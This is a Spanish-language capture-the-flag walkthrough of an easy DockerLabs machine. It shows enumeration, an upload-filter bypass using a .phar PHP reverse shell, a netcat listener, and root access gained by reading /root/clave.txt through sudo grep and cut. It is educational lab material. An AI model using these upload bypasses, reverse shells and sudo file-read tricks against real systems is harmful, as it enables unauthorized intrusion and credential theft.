## 15. ✅Máquina: Dockerlabs (Fácil)

### *1. Descubrimiento de puertos y servicios con Nmap:*

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
  - *Comando*: `nmap -sVC 172.17.0.2 -Pn`
  - *Resultado*: Se encontró el servicio HTTP abierto.

### *2. Búsqueda de directorios activos con Gobuster:*

- Usamos *Gobuster* para encontrar directorios activos en el servicio HTTP.
  - *Comando*: `gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html`
  - *Resultado*: Se encontraron varios directorios interesantes, entre ellos varios que gestionan uploads y un *machine.php* que permite la subida de archivos.

```
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.php            (Status: 200) [Size: 8235]
/uploads              (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
/upload.php           (Status: 200) [Size: 0]
/machine.php          (Status: 200) [Size: 1361]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
```

### *3. Inspección directorio machine.php:*

- Observamos que en el directorio *machine.php* se permite la subida de archivos, el problema encontrado es que solo permite archivos *.zip*, prohibiendo directamente cualquier archivo con extensión .php. Sin embargo, en la documentación siguiente relacionada con File Uploads de Hacktricks , podemos observar que podemos utilizar varias extensiones que actúan también como archivo php, utilizando una extensión alternativa, por lo que probando con ellas podemos dar con una extensión no controlada y permitiendo la subida de código vulnerable con php.
  - *Comando*: `Other useful extensions PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module`
  - *Resultado*: Probando con diferentes extensiones compatibles, podemos observar que nos ha dejado subir código php usando la extension *.phar*

### *4. Generación de Reverse Shell con Revershell Generator*

- Introducimos en la web la IP de la máquina víctima y el puerto abierto (8080), pudiendo subir este archivo php con extensión *.phar*.
  - *Comando*: Utilizamos Script *PHP PentestMonkey*.
  - *Resultado*: Creamos un archivo *.phar* con el script PHP generado, el cual vamos a subir, y también recibimos el comando de escucha a ejecutar en nuestra máquina.

### *5. Ejecución de Reverse Shell:*

- Una vez subido el archivo .phar con el código php el cual crea una reverse shell en nuestra máquina, podemos ejecutarlo yendo al directorio uploads donde se almacenan todos los files subidos correctamente. Una vez ejecutado y estando en escucha recibimos la bash remota en nuestra máquina atacante.
  - *Comando*: Ejecutar archivo .phar subido almacenado en */uploads* estando en escucha en nuestra máquina atacante `nc -lvnp 444`
  - *Resultado*: Recibimos la bash remota el cual vamos a configurar para su completo uso en nuestro entorno.

```
┌──(root㉿kali)-[/home/kali]
└─# sudo nc -lvnp 444
listening on [any] 444 ...
connect to [192.168.0.109] from (UNKNOWN) [172.17.0.2] 41098
Linux a14307288189 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1
 19:19:23 up 18 min,  0 user,  load average: 1.54, 1.15, 1.26
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@a14307288189:/$
```

```
www-data@a14307288189:/$ export TERM=xterm
www-data@a14307288189:/$ export SHELL=bash
www-data@a14307288189:/$ stty rows 42 columns 181
www-data@a14307288189:/$
```

- *6. Navegación directorios máquina vícitma:*
  - Realizando una navegación entre los directorios de la máquina remota vícitma, podemos encontrar una nota con información importante a tener en cuenta.
    - *Comando*: Navegación `cd , ls`
    - *Resultado*: En el directorio */opt* se encuentra un file interesante: *nota.txt* con el siguiente contenido: `Protege la clave de root, se encuentra en su directorio /root/clave.txt, menos mal que nadie tiene permisos para acceder a ella.`

```
www-data@a14307288189:/$ ls media/
www-data@a14307288189:/$ ls mnt/
www-data@a14307288189:/$ ls opt
nota.txt
www-data@a14307288189:/$ cd opt
www-data@a14307288189:/opt$ cat nota.txt
Protege la clave de root, se encuentra en su directorio /root/clave.txt, menos mal que nadie tiene permisos para acceder a ella.
```

- *7. Verificación de permisos del usuario:*
  - Verificamos los permisos del usuario actual de la máquina víctima y ver como podemos utilizar los permisos para obtener la información mencionada en la *nota.txt*.
    - *Comando*: `sudo -l`
    - *Resultado*: El usuario actual *(www-data)*, tiene los siguientes permisos de ejecución como root en los binarios: *cut* y *grep*.

```
User www-data may run the following commands on a14307288189:
(root) NOPASSWD: /usr/bin/cut
(root) NOPASSWD: /usr/bin/grep
```

- *8. Lectura Archivo Confidencial clave.txt:*
  - Habiendo observado que el usuario puede ejecutar binarios *cut y grep*, podemos utilizarlos para obtener la información del archivo confidencial, ya que ambos sirven para la lectura interna de files. Utilizaremos *grep* ya que estoy más familiarizado con él, pero ambos sirven para obtener la información.
    - *Comando*: `LFILE=ruta_archivo_lectura` `sudo grep '' $LFILE`, en este caso *ruta_archivo_lectura* = `/root/clave.txt`
    - *Resultado*: Ejecutamos el comando y obtenemos la información confidencial, la contraseña del usuario root, con ambos binarios ejecutables, cut y grep: *dockerlabsmolamogollon123*

```
www-data@a14307288189:/opt$ LFILE=/root/clave.txt
www-data@a14307288189:/opt$ sudo grep '' $LFILE
dockerlabsmolamogollon123
www-data@a14307288189:/opt$ sudo cut -d "" -f1 "$LFILE"
dockerlabsmolamogollon123
```

- *9. Escalada de privilegios a usuario root:*
  - Una vez obteniendo las credenciales utilizando los binarios con permisos de ejecución *cut y grep*, ya tenemos toda la información necesaria para escalar al usuario root:
    - *Comando*: `su root`, contraseña: *dockerlabsmolamogollon123*
    - *Resultado*: Obtenemos máximos privilegios de la máquina víctima, siendo usuarios root. Fin de la intrusión!

```
www-data@a14307288189:/opt$ su root
Password:
root@a14307288189:/opt# whoami
root
root@a14307288189:/opt# cd /root
root@a14307288189:~# cat
.bashrc    .local/    .profile   clave.txt
root@a14307288189:~# cat clave.txt
dockerlabsmolamogollon123
root@a14307288189:~# xDaliK
bash: xDaliK: command not found
```